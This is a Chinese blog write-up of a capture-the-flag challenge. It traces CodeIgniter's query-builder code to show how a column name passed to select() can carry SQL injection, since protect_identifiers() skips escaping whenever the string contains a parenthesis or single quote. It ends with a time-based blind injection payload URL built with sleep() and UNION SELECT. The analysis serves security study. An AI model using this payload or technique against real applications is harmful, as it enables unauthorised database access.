CI框架下column注入 – Wupco's Blog

TCTF Web有大量的审计题,其中有很多有趣又get到新姿势的。其中有一道关于CI框架下的注入的问题。

    具体注入点在CI的select()中,查看官方文档,我们知道,select()函数选中一个列名,然后经过处理拼接到sql语句中,而这个处理本身来说就存在着问题。

    而关于列名的注入,本身来说有一定的鸡肋性质,开发者一般都不会让用户可控列名。

    但是有些时候,开发者会偷懒定义一些奇怪的路由设定个API,将其中的关键词提取出来当作列名,比如user表中有id字段,对应的路由规则就是 http://xxxxxx/user/id/1.xxx 如果没有对user进行处理直接放入select就会导致注入。

image

    首先看一下select函数/system/database/DB_query_builder.php

public function select($select = '*', $escape = NULL)
        {
                if (is_string($select))
                {
                        $select = explode(',', $select);
                }
                //var_dump($select);
                // If the escape value was not set, we will base it on the global setting
                is_bool($escape) OR $escape = $this->_protect_identifiers;

                foreach ($select as $val)
                {
                        $val = trim($val);

                        if ($val !== '')
                        {
                                $this->qb_select[] = $val;
                                $this->qb_no_escape[] = $escape;

                                if ($this->qb_caching === TRUE)
                                {
                                        $this->qb_cache_select[] = $val;
                                        $this->qb_cache_exists[] = 'select';
                                        $this->qb_cache_no_escape[] = $escape;
                                }
                        }
                }
                //var_dump($this->qb_select);
                return $this;
                
        }

image 

 可以看到直接把结果存在qb_select数组中,所有这样的变量在最后语句执行时,被拼接起来形成sql语句。

所以,这里没有做任何处理,接下来看下(最终执行sql语句的函数)get()

/system/database/DB_query_builder.php

   public function get($table = '', $limit = NULL, $offset = NULL)
        {
                if ($table !== '')
                {
                        $this->_track_aliases($table);
                        $this->from($table);
                }

                if ( ! empty($limit))
                {
                        $this->limit($limit, $offset);
                }

                $result = $this->query($this->_compile_select());
                $this->_reset_select();
                return $result;
        }

这里也没有对刚才所说的数组进行处理,还要继续跟踪,看下_compile_select

贴一下关键位置

foreach ($this->qb_select as $key => $val)
                                {
                                        $no_escape = isset($this->qb_no_escape[$key]) ? $this->qb_no_escape[$key] : NULL;
                                        
                                        $this->qb_select[$key] = $this->protect_identifiers($val, FALSE, $no_escape);
                                        
                                }
                                
                                $sql .= implode(', ', $this->qb_select);

escape默认是1,紧接着把提取出来的非sql关键词带入到protect_identifiers进行转义简化

public function protect_identifiers($item, $prefix_single = FALSE, $protect_identifiers = NULL, $field_exists = TRUE)
        {
                if ( ! is_bool($protect_identifiers))
                {
                        $protect_identifiers = $this->_protect_identifiers;
                }

                if (is_array($item))
                {
                        $escaped_array = array();
                        foreach ($item as $k => $v)
                        {
                                $escaped_array[$this->protect_identifiers($k)] = $this->protect_identifiers($v, $prefix_single, $protect_identifiers, $field_exists);
                        }
                        //var_dump($escaped_array);
                        return $escaped_array;
                }

                // This is basically a bug fix for queries that use MAX, MIN, etc.
                // If a parenthesis is found we know that we do not need to
                // escape the data or add a prefix. There's probably a more graceful
                // way to deal with this, but I'm not thinking of it -- Rick
                //
                // Added exception for single quotes as well, we don't want to alter
                // literal strings. -- Narf
                if (strcspn($item, "()'") !== strlen($item))
                {
                        return $item;
                }

                // Convert tabs or multiple spaces into single spaces
                $item = preg_replace('/\s+/', ' ', trim($item));

                // If the item has an alias declaration we remove it and set it aside.
                // Note: strripos() is used in order to support spaces in table names
                if ($offset = strripos($item, ' AS '))
                {
                        $alias = ($protect_identifiers)
                                ? substr($item, $offset, 4).$this->escape_identifiers(substr($item, $offset + 4))
                                : substr($item, $offset);
                        $item = substr($item, 0, $offset);
                }
                elseif ($offset = strrpos($item, ' '))
                {
                        $alias = ($protect_identifiers)
                                ? ' '.$this->escape_identifiers(substr($item, $offset + 1))
                                : substr($item, $offset);
                        $item = substr($item, 0, $offset);
                }
                else
                {
                        $alias = '';
                }

                // Break the string apart if it contains periods, then insert the table prefix
                // in the correct location, assuming the period doesn't indicate that we're dealing
                // with an alias. While we're at it, we will escape the components
                if (strpos($item, '.') !== FALSE)
                {
                        $parts = explode('.', $item);

                        // Does the first segment of the exploded item match
                        // one of the aliases previously identified? If so,
                        // we have nothing more to do other than escape the item
                        //
                        // NOTE: The ! empty() condition prevents this method
                        //       from breaking when QB isn't enabled.
                        if ( ! empty($this->qb_aliased_tables) && in_array($parts[0], $this->qb_aliased_tables))
                        {
                                if ($protect_identifiers === TRUE)
                                {
                                        foreach ($parts as $key => $val)
                                        {
                                                if ( ! in_array($val, $this->_reserved_identifiers))
                                                {
                                                        $parts[$key] = $this->escape_identifiers($val);
                                                }
                                        }

                                        $item = implode('.', $parts);
                                }

                                return $item.$alias;
                        }

                        // Is there a table prefix defined in the config file? If not, no need to do anything
                        if ($this->dbprefix !== '')
                        {
                                // We now add the table prefix based on some logic.
                                // Do we have 4 segments (hostname.database.table.column)?
                                // If so, we add the table prefix to the column name in the 3rd segment.
                                if (isset($parts[3]))
                                {
                                        $i = 2;
                                }
                                // Do we have 3 segments (database.table.column)?
                                // If so, we add the table prefix to the column name in 2nd position
                                elseif (isset($parts[2]))
                                {
                                        $i = 1;
                                }
                                // Do we have 2 segments (table.column)?
                                // If so, we add the table prefix to the column name in 1st segment
                                else
                                {
                                        $i = 0;
                                }

                                // This flag is set when the supplied $item does not contain a field name.
                                // This can happen when this function is being called from a JOIN.
                                if ($field_exists === FALSE)
                                {
                                        $i++;
                                }

                                // Verify table prefix and replace if necessary
                                if ($this->swap_pre !== '' && strpos($parts[$i], $this->swap_pre) === 0)
                                {
                                        $parts[$i] = preg_replace('/^'.$this->swap_pre.'(\S+?)/', $this->dbprefix.'\\1', $parts[$i]);
                                }
                                // We only add the table prefix if it does not already exist
                                elseif (strpos($parts[$i], $this->dbprefix) !== 0)
                                {
                                        $parts[$i] = $this->dbprefix.$parts[$i];
                                }

                                // Put the parts back together
                                $item = implode('.', $parts);
                        }

                        if ($protect_identifiers === TRUE)
                        {
                                $item = $this->escape_identifiers($item);
                        }

                        return $item.$alias;
                }

                // Is there a table prefix? If not, no need to insert it
                if ($this->dbprefix !== '')
                {
                        // Verify table prefix and replace if necessary
                        if ($this->swap_pre !== '' && strpos($item, $this->swap_pre) === 0)
                        {
                                $item = preg_replace('/^'.$this->swap_pre.'(\S+?)/', $this->dbprefix.'\\1', $item);
                        }
                        // Do we prefix an item with no segments?
                        elseif ($prefix_single === TRUE && strpos($item, $this->dbprefix) !== 0)
                        {
                                $item = $this->dbprefix.$item;
                        }
                }

                if ($protect_identifiers === TRUE && ! in_array($item, $this->_reserved_identifiers))
                {
                        $item = $this->escape_identifiers($item);
                }

                return $item.$alias;
        }

image

如果匹配到()'其中任意字符,直接返回原部分语句;

image

trim处理

image

匹配到AS则把$item去掉最后面的AS及AS之后的部分,AS之后的部分做escape_identifiers处理

image

匹配到空格把最后的空格及其后面的部分拿出来从item去掉并做escape_identifiers处理

image

对$item做escape_identifiers处理与前面的$alias拼接返回

跟踪一下escape_identifiers

关键语句

preg_replace('/'.$preg_ec[0].'?([^'.$preg_ec[1].'\.]+)'.$preg_ec[1].'?(\.)?/i', $preg_ec[2].'$1'.$preg_ec[3].'$2', $item);

把item用重音符包裹,测试一下如下:($item 是 name%20from%20flash%20union%20select ,$alias是aa,前面只做了一次空格校验)

image

这个`无法闭合,因为`会被正则检测出来并在其后加上`。

回到前面,发现

image

strcspn函数,在php中进行匹配,只要检测到有相同部分,就停止检测,例如下面

image

所以,只要我们包含(、)、'任意一个就可以在protect_identifiers处理前直接return......

image

可以正确执行,但是因为最后显示结果使用的是

image

所以不能拿到结果,要盲注,测试一下sleep()

image

可以执行。

原题还过滤了大小于号,逗号等字符,所以最终的payload

http://ctf28.challenge10.0ops.net/fish/case%20when%20ascii(substr((1)from(1)for(1)))=49%20then%20sleep(2)%20else%201%20end%20from%20dual%20where%20(1=1)%20union%20select%20info%20/0.tctf


为您推荐了相关的技术文章:

  1. NDH2017-Web-Writeup - Veneno's Blog
  2. sql注入小技巧:利用子查询忽略字段名 | 律师'小窝
  3. 自己总结的Oracle注入初级篇
  4. SQL注入之骚姿势小记
  5. 为什么`(backtick)能做"注释符"

原文链接: www.wupco.cn